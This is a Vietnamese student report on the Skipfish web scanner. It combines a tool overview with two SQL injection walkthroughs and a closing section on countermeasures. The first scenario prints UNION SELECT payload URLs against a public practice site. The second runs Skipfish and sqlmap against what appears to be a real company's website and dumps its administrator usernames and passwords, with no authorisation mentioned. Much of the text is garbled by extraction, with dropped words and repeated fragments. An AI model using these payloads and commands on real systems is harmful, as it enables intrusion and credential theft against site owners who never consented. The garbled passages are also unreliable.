Skipfish là một trình quét ứng dụng web mã nguồn mở mới được viết và duy trì bởi Michal Zalewski, Niels Heinen và Sebastian Roschke. Công cụ này sử dụng ngôn ngữ lập trình C, được phát triển bởi Google và đã có bản quyền được bảo lưu vào năm 2009 – 2012. Khi Skipfish chính thức được phát hành thì nó đã được cấp phép một cách đầy đủ theo các điều khoản và điều kiện của Apache phiên bản 2.0. Mục tiêu của Skipfish tương tự như mục tiêu của các máy quét lỗ hổng bảo mật web trước đây như Nmap và Nessus, cho phép các nhà phát triển web quét ứng dụng hoặc trang web của họ để tìm các vấn đề bảo mật tiềm ẩn. Skipfish có thể được sử dụng để xác định xem mã có dễ bị tấn công bởi các cuộc tấn công phổ biến như chèn các đoạn mã cho trang web XSS, SQL và tấn công chèn XML hay không vì nó thực hiện quét các lỗ hổng với các mức độ rủi ro cao, lỗ hổng rủi ro trung bình và quét sự cố thấp. Sau khi Skipfish hoàn thành quá trình quét của nó, nó chuẩn bị một bản đồ trang web tương tác cho trang web được nhắm mục tiêu bằng cách thực hiện thu thập dữ liệu đệ quy và các thăm dò dựa trên từ điển. Skipfish được cho là có thể dễ dàng xử lý hơn 2.000 yêu cầu HTTP mỗi giây nếu máy chủ đang được kiểm tra có thể xử lý tải.
LỜI MỞ ĐẦU Công nghệ thông tin giai đoạn có bước phát triển vượt bậc lĩnh vực khắp nơi toàn giới, điều xảy nhiều năm vừa qua việc đầu tư vào công nghệ Đối với Việt Nam công nghệ thông tin phát triển vòng vài năm trở lại bước phát triển Việt Nam tạo nên triển vọng lĩnh vực cơng nghệ thơng tin, việc quản lý hệ thống, an tồn tồn thơng tin mạnh tiềm năng, mạnh đất nước Hệ thống thông tin giúp công việc quản lý dễ dàng hơn, nâng cao hiệu quả, tiết kiệm thời gian công sức Tuy nhiên, bên cạnh tiện lợi hệ thống, tồn mối nguy công mạng Những công mang đến mối nguy hại lớn cho doanh nghiệp Nguyên nhân bắt nguồn từ việc lập trình, cấu hình hệ thống, kiến thức bảo mật, phịng chống cơng dẫn đến việc tồn lỗ hổng hệ thống Chính báo cáo này, vấn đề liên quan đến bảo mật kiểm thử xâm nhập dần trở thành mối quan tâm doanh nghiệp có sử dụng hệ thống trực tiếp Trước nhu cầu thiết yếu đó, đời cơng cụ bảo mật, kiểm thử đánh giá an tồn thơng tin đời MỤC LỤC DANH SÁCH THUẬT NGỮ VÀ TỪ VIẾT TẮT DANH MỤC HÌNH VẼ .7 LỜI MỞ ĐẦU .9 CHƯƠNG 1: GIỚI THIỆU VỀ CÔNG CỤ SKIPFISH .10 1.1 Tổng quan công cụ Skipfish 10 1.2 Hướng dẫn cài đặt sử dụng công cụ Skipfish .14 1.2.1 Hướng dẫn cài đặt công cụ Skipfish 14 1.2.2 Hướng dẫn sử dụng công cụ Skipfish 17 1.2.3 Ví dụ minh họa sử dụng công cụ Skipfish để rà quét trang web 28 1.3 Các vấn đề thường gặp cách khắc phục với công cụ Skipfish 31 CHƯƠNG 2: THỬ NGHIỆM KỊCH BẢN TẤN CÔNG TRÊN CƠNG CỤ SKIPFISH36 2.1 Các kỹ thuật cơng cơng cụ tích hợp sử dụng LAB 36 2.2 Kịch thử nghiệm công thực tế .37 2.3 Các biện pháp đối phó dựa thử nghiệm công 54 KẾT LUẬN .56 TÀI LIỆU THAM KHẢO .57 DANH SÁCH THUẬT NGỮ VÀ TỪ VIẾT TẮT STT Từ viết tắt CPU CSS DNS EXIF GNU Thuật ngữ Tiếng Anh Central Processing Unit Thuật ngữ Tiếng Việt / Giải thích Là mạch điện tử máy tính,thực câu lệnh chương trình máy tính cách thực phép tính số học, logic, so sánh hoạt động nhập/xuất liệu (I/O) mã lệnh Cascading Style Sheets Được dùng để miêu tả cách trình bày tài liệu viết ngơn ngữ HTML XHTML Ngồi ngơn ngữ định kiểu theo tầng dùng cho XML, SVG, XUL Domain Name System Mang ý nghĩa đầy đủ hệ thống phân giải tên miền DNS phát minh vào năm 1984 cho Internet, hệ thống cho phép thiết lập tương ứng địa IP tên miền Exchangeable Image File Format Định dạng tệp hình ảnh trao đổi tiêu chuẩn định định dạng cho hình ảnh, âm thẻ phụ trợ sử dụng máy ảnh kỹ thuật số, máy quét hệ thống khác xử lý tệp hình ảnh âm ghi lại máy ảnh kỹ thuật số General Public License Là hệ điều hành sưu tập phần mềm máy tính phong phú GNU bao gồm tồn phần mềm tự do, hầu hết cấp phép theo General Public License GNU Project GUI HTTP Là thuật ngữ ngành công nghiệp máy tính Đó cách giao Graphical User Interface tiếp với máy tính hay thiết bị điện tử hình ảnh chữ viết thay dòng lệnh đơn HyperText Transfer Protocol Là giao thức lớp ứng dụng cho hệ thống thông tin siêu phương tiện phân tán, cộng tác I/O Input/Output Là giao tiếp hệ thống xử lý thơng tin hay máy tính với giới bên ngồi, người hệ thống xử lý thông tin khác IP Internet Protocol Địa IP / địa máy tính dùng để phân biệt kết nối với Inter Process Communication Trong khoa học máy tính, giao tiếp trình giao tiếp trình (IPC) đề cập cụ thể đến chế mà hệ điều hành cung cấp phép trình quản lý liệu chia sẻ Intrusion Prevention System Là hệ thống phát xâm nhập khả theo dõi, giám sát cịn có chức ngăn chặn kịp thời hoạt động xâm nhập khơng mong muốn hệ thống máy tính LAN Local Area Network Mạng máy tính nội bộ, giao tiếp cho phép máy tính kết nối với để làm việc chia sẻ liệu MAN Metropolitan Area Network Là mạng liệu băng rộng thiết kế cho phạm vi thành phố, thị xã Khoảng cách rơi vào 100 km 10 11 12 13 IPC IPS 14 15 16 17 18 19 MIME OGNL PHP RAM SQL SSL Multipurpose Internet Mail Extensions Là tiêu chuẩn Internet định dạng cho thư điện tử Hầu thư điện tử Internet truyền qua giao thức SMTP theo định dạng MIME Object-Graph Navigation Language Là ngôn ngữ biểu thức nguồn mở cho Java, sử dụng biểu thức đơn giản toàn phạm vi hỗ trợ ngôn ngữ Java, cho phép nhận thiết lập thuộc tính thực thi phương thức lớp Java Hypertext Preprocessor Là ngơn ngữ lập trình kịch hay loại mã lệnh chủ yếu dùng để phát triển ứng dụng viết cho máy chủ, mã nguồn mở, dùng cho mục đích tổng qt Nó thích hợp với web dễ dàng nhúng vào trang HTML Random Access Memory Là loại nhớ khả biến cho phép truy xuất đọc-ghi ngẫu nhiên đến vị trí nhớ dựa theo địa nhớ Thông tin lưu RAM tạm thời, chúng mất nguồn điện cung cấp Structured Query Language Là ngôn ngữ truy vấn mang tính cấu trúc, loại ngơn ngữ máy tính phổ biến để tạo, sửa, lấy liệu từ hệ quản trị sở liệu quan hệ Secure Sockets Layer Là giao thức mật mã thiết kế để cung cấp truyền thơng an tồn qua mạng máy tính Một số phiên giao thức sử dụng rộng rãi ứng dụng trình duyệt Web, thư điện tử, … 20 21 22 23 24 25 TCP Transmission Control Protocol Là giao thức cốt lõi giao thức TCP/IP Sử dụng TCP, ứng dụng máy chủ nối mạng tạo "kết nối" với nhau, mà qua chúng trao đổi liệu gói tin Giao thức đảm bảo chuyển giao liệu tới nơi nhận cách đáng tin cậy thứ tự URL Uniform Resource Locator Là tham chiếu đến tài ngun web định vị trí mạng máy tính chế để truy xuất Unicode Transformation Format mã hóa ký tự với chiều rộng biến thiên dành cho Unicode Nó thể biểu diễn tất chữ ký tự Unicode, điểm khác biệt quan trọng tương thích ngược với ASCII UTF XML XSRF XSS Extensible Markup Language Là ngôn ngữ đánh dấu với mục đích chung W3C đề nghị, để tạo ngôn ngữ đánh dấu khác Đây tập đơn giản SGML, có khả mơ tả nhiều loại liệu khác Cross-site Request Forgery Giả mạo yêu cầu nhiều trang web loại khai thác độc hại trang web nơi lệnh trái phép gửi từ người dùng mà ứng dụng web tin cậy Cross-Site Scripting Là loại lỗ hổng bảo mật thường thấy ứng dụng web Các công XSS cho phép kẻ cơng đưa tập lệnh phía máy khách vào trang web người dùng khác xem DANH MỤC HÌNH VẼ Hình 1.1: Giới thiệu cơng cụ Skipfish 10 Hình 1.2: Báo cáo Skipfish việc quét lỗ hổng bảo mật trang web 11 Hình 1.3: Bảng so sánh hai cơng cụ Skipfish Acunetix .11 Hình 1.4: Bảng so sánh hai công cụ Skipfish Nikto 12 Hình 1.5: Bảng so sánh đưa tính vượt trội Skipfish so với Grabber 12 Hình 1.6: Các phiên khác Skipfish trang chủ 14 Hình 1.7: Cách khởi động công cụ Skipfish câu lệnh Kali Linux 17 Hình 1.8: Cách khởi động cơng cụ Skipfish tích hợp sẵn Kali Linux 17 Hình 1.9: Các tính tham số công cụ Skipfish phần 18 Hình 1.10: Các tính tham số công cụ Skipfish phần 18 Hình 1.11: Các tham số tùy chọn xác thực truy cập 19 Hình 1.12: Một dịng lệnh mẫu để đăng nhập tính .20 Hình 1.13: Các tham số cho tính tùy chọn phạm vi thu thập thơng tin 21 Hình 1.14: Các tham số cho tính báo cáo 22 Hình 1.15: Các tham số tùy chọn quản lý từ điển 23 Hình 1.16: Các tham số tính cài đặt hiệu suất 24 Hình 1.17: Các tham số tính số tùy chọn cài đặt khác 25 Hình 1.18: Trang báo cáo trình bày chi tiết mở trình duyệt 26 Hình 1.19: Sử dụng giao diện dòng lệnh Skipfish để thực rà quét 29 Hình 1.20: Giao diện hiển thị trường thơng tin q trình rà qt 29 Hình 1.21: Một giao diện khác xem chi tiết thư mục quét 30 Hình 1.22: Skipfish báo cáo trình rà quét thực xong 30 Hình 1.23: Thư mục báo cáo trích xuất sau q trình rà qt .30 Hình 1.24: Báo cáo chi tiết thơng tin thu thập cảnh báo sau trình rà qt 31 Hình 1.25: Thơng thường vấn đề cập nhật trang chủ Skipfish 35 Hình 2.1: Khởi động cơng cụ Skipfish Kali Linux .38 Hình 2.2: Truyền lệnh vào công cụ Skipfish để tiến hành rà quét 39 Hình 2.3: Hiển thị tính quét Skipfish .39 Hình 2.4: Một vài thơng số trình rà quét Skipfish .39 Hình 2.5: Chi tiết yêu cầu rà quét để thu thập thông tin trang web 40 Hình 2.6: Thư mục chưa báo cáo đầu sau q trình qt hồn tất 40 Hình 2.7: Báo cáo kết cho trang web testphp.vulnweb.com trình duyệt 41 Hình 2.8: Giao diện đăng nhập trang web testphp.vulnweb.com 41 Hình 2.9: Sử dụng truy vấn order by với N=3 .42 Hình 2.10: Sử dụng truy vấn order by với N=4 .42 Hình 2.11: Sử dụng truy vấn union select để trích xuất bảng bị lỗi hiển thị 43 Hình 2.12: Sử dụng truy vấn để kiểm tra phiên sở liệu 44 Hình 2.13: Sử dụng truy vấn để trích xuất tên sở liệu 44 Hình 2.14: Sử dụng truy vấn để trích xuất bảng có sở liệu 45 Hình 2.15: Sử dụng truy vấn trường thông tin bảng users 46 Hình 2.16: Truy xuất thành công username password 47 Hình 2.17: Sử dụng username password vừa thu thập để đăng nhập .47 Hình 2.18: Giao diện đăng nhập thành công vào hệ thống 48 Hình 2.19: Mở cơng cụ Skipfish Kali Linux 48 Hình 2.20: Đưa vào câu lệnh để rà quét cho trang web nhuaphucthich.com.vn 49 Hình 2.21: Các tính rà qt cơng cụ Skipfish 49 Hình 2.22: Một số thơng tin hiển thị q trình rà quét Skipfish 49 Hình 2.23: Quá trình thu thập thơng tin Skipfish 50 Hình 2.24: Thư mục đầu sau trình rà quét trang web nhuaphucthinh.com.vn 50 Hình 2.25: Bản báo cáo lỗ hổng liệu cho trang web nhuaphucthich.com.vn .51 Hình 2.26: Sử dụng SQL Map để trích xuất sở liệu 51 Hình 2.27: Các sở liệu trang web tìm thấy .52 Hình 2.28: Trích xuất liệu bảng sở liệu nhuaphucth_inh 52 Hình 2.29: Các bảng tồn sở liệu nhuaphucth_inh 52 Hình 2.30: Trích xuất thơng tin trường bảng administrator 52 Hình 2.31: Chi tiết trường thông tin bảng administrator 53 Hình 2.32: Dùng lệnh –dump để trích xuất tất liệu bảng administrator 53 Hình 2.33: Lấy AdmPass AdmUsername người quản trị 53 LỜI MỞ ĐẦU Hiện giới nói chung Việt Nam ta nói riêng quan tâm đến số vấn đề cộm nhức nhối vấn đề rị rỉ thơng tin, loại tội phạm xuất thời đại công nghệ tội phạm cơng nghệ cao, loại tin tặc chuyên đánh cắp thông tin (hacker) Những đối tượng thường xuyên khai thác, xâm nhập vào lỗ hỏng hệ thống thông tin, hệ thống mạng nhằm vào mục đích phá hoại, khai thác liệu quan trọng hệ thống Vấn nạn rò rỉ thông tin không ảnh hưởng lớn đến phát triển mặt kinh tế quốc gia mà cịn phá hoại diễn biến hịa bình an ninh quốc gia Do việc đảm bảo an tồn thơng tin cho hệ thống thơng tin, hệ thống mạng điều quan trọng, cần thiết khơng thể thiếu thời đại tin học hóa Việc đánh giá, kiểm thử, thử nghiệm ứng dụng web trình xây dựng, sau q trình xây dựng vơ cần thiết hữu ích Cơng việc kiểm thử giúp cho ứng dụng web chịu đựng công kẻ cơng Có nhiều cơng cụ hữu ích giúp kiểm thử ứng dụng web Skipfish cơng cụ hữu ích mạnh mẽ phục vụ cho công việc rà quét thông tin lỗ hổng trang web, từ giúp khắc phục điểm yếu để làm cho hệ thống trở nên an tồn Ngồi giúp người sử dụng thống kê lại thư mục trang web để dễ dàng việc kiểm sốt truy nhập Bài báo cáo nhằm mục đích giới thiệu công cụ Skipfish, cách cài đặt, sử dụng thực số kịch thử nghiệm dựa việc tích hợp cơng cụ với số công cụ hữu dụng khác Nội dung sử dụng cho mục đích học tập, nghiên cứu, khơng sử dụng với mục đích xấu ảnh hướng đến tổ chức, cá nhân Em xin chân thành cảm ơn đến giảng viên TS Đặng Minh Tuấn giúp tìm hiểu thêm nhiều tài liệu, hoàn thiện báo cáo cách hoàn chỉnh CHƯƠNG 1: GIỚI THIỆU VỀ CÔNG CỤ SKIPFISH 1.1 Tổng quan công cụ Skipfish Skipfish trình quét ứng dụng web mã nguồn mở viết trì Michal Zalewski, Niels Heinen Sebastian Roschke Công cụ sử dụng ngôn ngữ lập trình C, phát triển Google có quyền bảo lưu vào năm 2009 – 2012 Khi Skipfish thức phát hành cấp phép cách đầy đủ theo điều khoản điều kiện Apache phiên 2.0 Hình 1.1: Giới thiệu công cụ Skipfish Mục tiêu Skipfish tương tự mục tiêu máy quét lỗ hổng bảo mật web trước Nmap Nessus, cho phép nhà phát triển web quét ứng dụng trang web họ để tìm vấn đề bảo mật tiềm ẩn Skipfish sử dụng để xác định xem mã bị cơng công phổ biến chèn đoạn mã cho trang web XSS, SQL công chèn XML hay khơng thực qt lỗ hổng với mức độ rủi ro cao, lỗ hổng rủi ro trung bình quét cố thấp Sau Skipfish hồn thành q trình qt nó, chuẩn bị đồ trang web tương tác cho trang web nhắm mục tiêu cách thực thu thập liệu đệ quy thăm dị dựa từ điển Skipfish cho dễ dàng xử lý 2.000 yêu cầu HTTP giây máy chủ kiểm tra xử lý tải Các vấn đề bảo mật mà Skipfish tập trung vào vấn đề trang web ứng dụng web internet giao diện khơng an tồn chúng Như nói trước Skipfish cho phép nhà phát triển quét ứng dụng cho lỗ hổng Một lỗ hổng bảo mật tình điều kiện gia tang mối đe dọa làm tăng rủi ro, xác suất điều xảy Điều quan trọng công cụ nhà phát triển đợi xem liệu ứng dụng họ bị cơng khơng “Một chúng tơi biết điểm yếu mình, họ khơng làm chúng tơi gây hại” - trích dẫn George Christoph Lichtenberg Điều khẳng định Skipfish cho phép tìm điểm yếu ứng dụng thực biện pháp bảo vệ cần thiết để giảm thiểu nguy rủi ro gặp pải cách sớm hiệu Bước 7: Ta tạo id mà không tồn sở liệu (id = -1) để tìm cột bị lỗi cột vừa tìm để tiếp tục khai thác thêm câu truy vấn vào Ta sử dụng cú pháp http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,2,3 Hình 2.11: Sử dụng truy vấn union select để trích xuất bảng bị lỗi hiển thị Kết cột cho ta thấy, có hai cột bị hiển thị lỗi cột số cột số Bước 8: Ta thay giá trị cột số “version()” để kiểm tra phiên sở liệu Hình 2.12: Sử dụng truy vấn để kiểm tra phiên sở liệu Thay giá trị cột số “database()” để trích xuất tên sở liệu Hình 2.13: Sử dụng truy vấn để trích xuất tên sở liệu Bước 9: Sau biết phiên tên sở liệu, ta thực xuất tên bảng có sở liệu cú pháp sau: http://testphp.vulnweb.com/artists.php?artist=-1 union select 1, group_concat (table_name), from information_schema.tables where table_schema = database() Hình 2.14: Sử dụng truy vấn để trích xuất bảng có sở liệu Kết hiển thị có tất có bảng tồn sở liệu artists, carts, categ, featured, guestbook, pictures, products, users Bước 10: Khi truy xuất bảng sở liệu, ta nhắm vào bảng có chứa thơng tin nhạy cảm người dùng ta dễ dàng nhìn bảng có tên users Sau ta thực tìm cột có bảng users cú pháp sau: http://testphp.vulnweb.com/artists.php?artist=-1 union select 1, group_concat (column_name), from information_schema.columns where table_name = CHAR(117, 115, 101, 114, 115) Trong liệu biến table_name ta phải dịch từ dạng text sang dạng ASCII ngăn cách dấu “,” Hình 2.15: Sử dụng truy vấn trường thông tin bảng users Kết hiển thị có tất có cột tồn bảng users gồm address, cart, cc, email, name, pass, phone, uname Bước 11: Khi tìm cột bảng users, ta thấy hai cột quan trọng uname pass Đây thơng tin đăng nhập người dùng mà ta muốn nhắm tới để đánh cắp để bypass Lúc ta thực cú pháp sau để lấy uname pass người dùng sở liệu: http://testphp.vulnweb.com/artists.php?artist=-1 union select 1, uname, pass from users Hình 2.16: Truy xuất thành công username password Kết thu được: ta lấy username password người dùng test:test sử dụng để đăng nhập thành cơng vào hệ thống Hình 2.17: Sử dụng username password vừa thu thập để đăng nhập Hình 2.18: Giao diện đăng nhập thành cơng vào hệ thống * Kịch số 2: Thực khai thác lỗ hổng SQL Injection trang web www.nhuaphucthinh.com.vn đánh cắp tài khoản mật người quản trị hệ thống sử dụng công cụ Skipfish SQL Map Bước 1: Khởi động Terminal Kali Linux khởi chạy công cụ Skipfish câu lệnh skipfish -h Hình 2.19: Mở công cụ Skipfish Kali Linux Bước 2: Sử dụng công cụ Skipfish để tiến hành rà quét lỗ hổng bảo mật trang web www.nhuaphucthinh.com.vn cách truyền vào câu lệnh skipfish -o outputdemo2 http://www.nhuaphucthinh.com.vn Hình 2.20: Đưa vào câu lệnh để rà quét cho trang web nhuaphucthich.com.vn Bước 3: Cơng cụ Skipfish bắt đầu q trình rà quét thu thập liệu trang web số vấn đề bảo mật cấp độ cảnh bảo khác Tùy thuộc vào quy mô liệu trang web mà thời gian quét nhanh hay chậm Hình 2.21: Các tính rà qt cơng cụ Skipfish Hình 2.22: Một số thơng tin hiển thị trình rà quét Skipfish Hình 2.23: Q trình thu thập thơng tin Skipfish Bước 4: Khi hồn tất q trình rà qt kết báo cáo lưu vào thư mục outputdemo2 truy cập thư mục ta chọn vào file index.html để hiển thị chi tiết báo cáo trình duyệt Hình 2.24: Thư mục đầu sau trình rà quét trang web nhuaphucthinh.com.vn Hình 2.25: Bản báo cáo lỗ hổng liệu cho trang web nhuaphucthich.com.vn Bản báo cáo chi tiết cho ta kết tài liệu thu thập trang web biểu diễn thư mục, điều quan trọng mà ta nhắm đến báo cáo trang web tồn lỗ hổng SQL Injection bước ta khai thác chúng Bước 4: Khởi động công cụ SQL Map Kali Linux để bắt đầu khai thác lỗ hổng SQL Injection Câu lệnh ta truy xuất sở liệu có hệ thống trang web: sqlmap -u http://www.nhuaphucthinh.com.vn/product.php?id=11 dbs Hình 2.26: Sử dụng SQL Map để trích xuất sở liệu Sau câu lệnh thực thi, kết trả cho ta hai sở liệu hệ thống information_schema nhuaphucth_inh Ta đốn sở liệu sở liệu mặc định MySQL, nên ta nhắm vào sở liệu nhuaphucth_inh để truy xuất liệu Hình 2.27: Các sở liệu trang web tìm thấy Bước 5: Sau nhắm vào sở liệu cụ thể nhuaphucth_inh, ta trích xuất bảng có sở liệu với cụ pháp sau: sqlmap -u http://www.nhuaphucthinh.com.vn/product.php?id=11 -D nhuaphucth_inh tables Hình 2.28: Trích xuất liệu bảng sở liệu nhuaphucth_inh Lúc kết trả cho ta có bảng sở liệu user, administrator, category, countries, doitac, manufacturer, permit, product Hình 2.29: Các bảng tồn sở liệu nhuaphucth_inh Bước 6: Vì mục tiêu chiếm tài khoản mật người quản trị hệ thống nên ta nhắm trực tiếp vào bảng có tên administrator để trích xuất trường thơng tin có bảng này, ta sử dụng câu lệnh sau: sqlmap -u http://www.nhuaphucthinh.com.vn/product.php?id=11 -D nhuaphucth_inh -T administrator columns Hình 2.30: Trích xuất thơng tin trường bảng administrator Lúc kết trả cho ta có trường bảng administrator AdmActive, AdmFullName, AdmID, AdmNote, AdmPassword, AdmUsername, PerID Hình 2.31: Chi tiết trường thông tin bảng administrator Bước 7: Thực trích xuất tồn liệu bảng với trường thông tin tương ứng bảng câu lệnh sau: sqlmap -u http://www.nhuaphucthinh.com.vn/product.php?id=11 -D nhuaphucth_inh -T administrator dump Hình 2.32: Dùng lệnh –dump để trích xuất tất liệu bảng administrator Kết thu được: trích xuất tồn thơng tin người quản trị hệ thống lưu bảng administrator Và quan trọng lấy hai thông tin AdmPassword AdmUsername người quản trị hệ thống Hình 2.33: Lấy AdmPass AdmUsername người quản trị 2.3 Các biện pháp đối phó dựa thử nghiệm cơng Q trình thực nghiệm cơng SQL Injection thông qua việc rà quét công cụ Skipfish cho ta thấy SQL Injection lỗ hổng nghiêm trọng đánh cắp liệu người dùng chí chiếm quyền điều khiển hệ thống Vì số biện pháp để phịng chống cơng SQL Injection: + Các biện pháp phòng chống dựa kiểm tra lọc liệu đầu vào: • Kiểm tra tất liệu đầu vào, đặc biệt liệu nhập từ người dùng từ nguồn không tin cậy • Kiểm tra định dạng kích thước liệu đầu vào • Tạo lọc để lọc bỏ ký tự đặc biệt từ khóa ngôn ngữ trường hợp cần thiết mà kẻ cơng sử dụng: o Các ký tự đặc biệt: *, ‘, =, -o Các từ khóa: SELECT, INSERT, UPDATE, DELETE, DROP, + Các biện pháp phòng chống dựa việc sử dụng thủ tục (stored procedures) CSDL: • Đưa tất câu truy vấn (SELECT) cập nhật, sửa xóa liệu (INSERT, UPDATE, DELETE) vào thủ tục; liệu truyền vào thủ tục thông qua tham số -> tách liệu khỏi mã, giúp hạn ngăn chặn hiệu công chèn mã SQL • Hạn chế thực câu lệnh SQL động thủ tục • Cấm vơ hiệu hóa (disable) việc thực thủ tục hệ thống – thủ tục CSDL có sẵn cho phép can thiệp vào hệ quản trị CSDL hệ điều hành • Các Extended/system Stored Procedures MS-SQL xp_cmdshell cho phép chạy lệnh hệ điều hành + Các biện pháp phòng chống dựa thiết lập quyền truy nhập người dùng cho phù hợp: • Khơng sử dụng người dùng có quyền system admin database owner làm người dùng truy cập liệu Ví dụ: khơng dùng user sa (MSSQL) root (MySQL) làm user truy cập liệu Chỉ dùng user cho mục đích quản trị • Chia nhóm người dùng, cấp quyền vừa đủ để truy cập bảng biểu, thực câu truy vấn chạy thủ tục • Tốt nhất, không cấp quyền thực câu truy vấn, cập nhật, sửa, xóa trực tiếp liệu; Thủ tục hóa tất câu lệnh cấp quyền thực thủ tục + Chủ động sử dụng công cụ rà quét lỗ hổng bảo mật để rà qt tìm lỗ hổng khắc phục: • Rà quét ứng dụng web/website sử dụng công cụ Skipfish hay công cụ rà quét lỗ hổng bảo mật khác để phát lỗi chèn mã SQL; • Sử dụng cơng cụ SQLmap (có thể tải từ trang sqlmap.org) - cơng cụ mã mở miễn phí viết Python: o Cho phép kiểm tra website tìm lỗi chèn mã SQL o Cho phép khai thác lỗi để điều khiển máy chủ CSDL o Hỗ trợ hầu hết máy chủ quản trị CSDL nay: MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase SAP MaxDB KẾT LUẬN Sau tiến hành tìm hiểu cơng cụ Skipfish q trình thử nghiệm cơng so sánh cơng cụ với công cụ loại khác điểm mạnh điểm hạn chế Nói chung cơng cụ rà qt mạnh năm 2010, nhiên việc dừng hẳn việc cập nhật công cụ từ thời điểm 2012 làm cho cơng cụ có đánh chút độ tin cậy khả bắt kịp công nghệ thua xa cơng cụ có chức rà qt khác ta biết cơng nghệ thơng tin phát triển theo ngày nên ngày có lỗ hổng, điểm yếu tinh vi Dù sở hữu điểm mạnh riêng hữu ích việc tìm lỗ hổng bảo mật thu thập thông tin liệu Mặc dù em cố gắng tìm hiểu trình bày báo cáo thực công đoạn cách tỉ mỉ, tâm huyết chu Xong, báo cáo em tránh khỏi lỗi sai khơng đáng có cách thức trình bày kiến thức chun mơn Vì vậy, em mong nhận đánh giá, nhận xét chia sẻ thầy báo cáo em Để từ em rút kiến thức kinh nghiệm phục vụ cho công việc nghiệp sau Một lần nữa, em xin gửi lời cảm ơn chân đến thầy! Hà Nội, ngày 01, tháng 07, năm 2021 Sinh viên thực Tuấn Anh Nguyễn Tuấn Anh TÀI LIỆU THAM KHẢO [1] Zalewski, M., " Skipfish Doc For Project documentation," 2011 [Online] Available: https://code.google.com/archive/p/skipfish/wikis/SkipfishDoc.wiki [2] Kali Linux, " SkipFish - Web Application Security Scanner," 30 2021 [Online] Available: https://www.kalilinux.in/2021/01/sikpfish.html [3] SysTutorial, " Skipfish Tool - Linux Man Pages," 23 2015 [Online] Available: https://www.systutorials.com/docs/linux/man/1-skipfish/ [4] Kendy Chua, " SKIPFISH LATEST WINDOWS PRECOMPILED BINARY,” 10 Nov 2011 [Online] Available: https://kennychua.net/skipfish-latest-windowsprecompiled-binary/ [5] Devin Ford, Latana Banks, "Skipfish – Midterm Report," 24 2020 [Online] Available: http://www.famu.edu/cis/project4_skipfish.pdf [6] Lê Tuấn Anh, " Kiểm tra ứng dụng trực tuyến Skipfish Google," 25 2010 [Online] Available: https://quantrimang.com/kiem-tra-ung-dung-truc-tuyenskipfish-cua-google-67975 [7] Briskinfosec, " Skipfish - powerful reconnaissance tool," 24 2021 [Online] Available: https://www.youtube.com/watch?v=kmroxG6GXdM [8] TechChip, “Skipfish Web Application Scanner Kali Linux tools”, 2018 [Online] Available: https://www.youtube.com/watch?v=YKILueSxLR0 [9] Matthew Fuller, “Skipfish - Introduction Tutorial”, 2012 [Online] Available: https://www.youtube.com/watch?v=kqx8rp7Cnwc [10] Geekforgeek, " How to use SQLMAP to test a website for SQL Injection," 2021 [Online] Available: https://www.geeksforgeeks.org/use-sqlmaptest-website-sql-injection-vulnerability/ ... công cụ Skipfish Google Hacking Bước 1: Khởi động Terminal Kali Linux khởi chạy công cụ Skipfish câu lệnh skipfish -h Hình 2.1: Khởi động cơng cụ Skipfish Kali Linux Bước 2: Sử dụng công cụ Skipfish. .. dụng công cụ Skipfish SQL Map Bước 1: Khởi động Terminal Kali Linux khởi chạy cơng cụ Skipfish câu lệnh skipfish -h Hình 2.19: Mở công cụ Skipfish Kali Linux Bước 2: Sử dụng công cụ Skipfish để... Có hai cách để mở công cụ Skipfish Kali Linux sau: Cách 1: Bật cửa sổ Terminal lên gõ vào câu lệnh skipfish -h Hình 1.7: Cách khởi động công cụ Skipfish câu lệnh Kali Linux Cách 2: Nếu không muốn